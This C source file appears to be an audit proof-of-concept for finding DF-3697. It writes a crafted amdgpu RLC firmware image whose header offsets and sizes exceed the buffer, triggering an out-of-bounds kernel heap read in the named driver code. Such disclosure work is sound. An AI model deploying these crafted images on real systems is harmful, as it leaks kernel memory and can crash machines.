DF-3697 / fwgen_craft_rlc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | /* * DF-3697 trigger generator โ crafts a malicious amdgpu RLC firmware image * with an rlc_firmware_header_v2_1 whose save-restore-list offset/size fields * point far past the end of the firmware buffer. * * Target: sys/dev/drm/amd/amdgpu/gfx_v9_0.c:516-535 * gfx_v9_0_init_rlc_ext_microcode(): * adev->gfx.rlc.save_restore_list_cntl = * (u8 *)rlc_hdr + le32_to_cpu(rlc_hdr->save_restore_list_cntl_offset_bytes); * โ offset and size are raw u32s from the firmware file; never compared * against adev->gfx.rlc_fw->datasize. * * Sink (PSP load path): sys/dev/drm/amd/amdgpu/amdgpu_ucode.c:381-394 * ucode->ucode_size = adev->gfx.rlc.save_restore_list_cntl_size_bytes; * memcpy(ucode->kaddr, adev->gfx.rlc.save_restore_list_cntl, * ucode->ucode_size); * reached via amdgpu_psp.c:428 amdgpu_ucode_init_bo() when * adev->firmware.load_type == AMDGPU_FW_LOAD_PSP (Vega10/VEGA12/Raven * default when a PSP is present). * * The destination BO is sized from the SAME unvalidated fields * (gfx_v9_0.c:776-797), so the primitive is an out-of-bounds READ of kernel * heap memory (up to 4 GiB wild offset / 4 GiB length), whose contents are * copied into a GPU-mapped firmware BO. * * Build: cc -O2 -o fwgen_craft_rlc fwgen_craft_rlc.c * Run: ./fwgen_craft_rlc (writes amdgpufw_raven_rlc.evil) * * Deploying it on a real Vega10/VEGA12/Raven system means placing the file at * /lib/firmware/amdgpufw_<asic>_rlc (root-owned path) and (re)loading the * amdgpu driver โ see VERDICT.md for the threat model. */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> /* Mirror of sys/dev/drm/amd/amdgpu/amdgpu_ucode.h layouts (little-endian) */ struct common_hdr { uint32_t size_bytes; uint32_t header_size_bytes; uint16_t header_version_major; uint16_t header_version_minor; uint16_t ip_version_major; uint16_t ip_version_minor; uint32_t ucode_version; uint32_t ucode_size_bytes; uint32_t ucode_array_offset_bytes; uint32_t crc32; }; struct rlc_v2_1 { struct common_hdr hdr; /* 32 bytes */ uint32_t ucode_feature_version; /* v2_0 body, 20 x u32 */ uint32_t jt_offset; uint32_t jt_size; uint32_t save_and_restore_offset; uint32_t clear_state_descriptor_offset; uint32_t avail_scratch_ram_locations; uint32_t reg_restore_list_size; uint32_t reg_list_format_start; uint32_t reg_list_format_separate_start; uint32_t starting_offsets_start; uint32_t reg_list_format_size_bytes; uint32_t reg_list_format_array_offset_bytes; uint32_t reg_list_size_bytes; uint32_t reg_list_array_offset_bytes; uint32_t reg_list_format_separate_size_bytes; uint32_t reg_list_format_separate_array_offset_bytes; uint32_t reg_list_separate_size_bytes; uint32_t reg_list_separate_array_offset_bytes; /* v2_1 extension */ uint32_t reg_list_format_direct_reg_list_length; uint32_t srlc_ucode_ver; uint32_t srlc_feature_ver; uint32_t srlc_size_bytes; uint32_t srlc_offset_bytes; uint32_t srlg_ucode_ver; uint32_t srlg_feature_ver; uint32_t srlg_size_bytes; uint32_t srlg_offset_bytes; uint32_t srls_ucode_ver; uint32_t srls_feature_ver; uint32_t srls_size_bytes; uint32_t srls_offset_bytes; }; #define TOTAL_SIZE 256 /* entire image: 256 bytes */ int main(void) { struct rlc_v2_1 h; uint8_t img[TOTAL_SIZE]; memset(&h, 0, sizeof(h)); memset(img, 0xAA, sizeof(img)); /* common header: only thing amdgpu_ucode_validate() checks in this * tree is size_bytes == fw->datasize, so make it self-consistent */ h.hdr.size_bytes = TOTAL_SIZE; h.hdr.header_size_bytes = sizeof(h); h.hdr.header_version_major = 2; h.hdr.header_version_minor = 1; /* -> is_rlc_v2_1 = true */ h.hdr.ucode_version = 0x01000000; h.hdr.ucode_size_bytes = 64; h.hdr.ucode_array_offset_bytes = sizeof(h); h.hdr.crc32 = 0; /* not checked */ /* keep the v2_0 reg-list fields benign (DF-1176 is a separate known * finding; we isolate THIS bug) */ h.reg_list_format_size_bytes = 0; h.reg_list_size_bytes = 0; /* ===== the malicious v2_1 fields ===== * image is 256 bytes; point 64 KiB past it and claim 4 KiB of data */ h.srlc_size_bytes = 0x1000; h.srlc_offset_bytes = 0x10000; /* wild: 0x10000 >> TOTAL_SIZE */ h.srlg_size_bytes = 0x1000; h.srlg_offset_bytes = 0x11000; h.srls_size_bytes = 0x1000; h.srls_offset_bytes = 0x12000; memcpy(img, &h, sizeof(h)); FILE *f = fopen("amdgpufw_raven_rlc.evil", "wb"); if (!f) { perror("fopen"); return 1; } fwrite(img, 1, sizeof(img), f); fclose(f); printf("crafted amdgpufw_raven_rlc.evil: %zu bytes\n", sizeof(img)); printf(" header_version = 2.1 -> gfx_v9_0_init_rlc_ext_microcode() runs\n"); printf(" save_restore_list_cntl = fw->data + 0x%x, size 0x%x\n", h.srlc_offset_bytes, h.srlc_size_bytes); printf(" on PSP-load devices this feeds memcpy(dst, fw->data+0x10000, 0x1000)\n"); printf(" at amdgpu_ucode.c:381-384 -> OOB kernel heap read / panic\n"); return 0; } |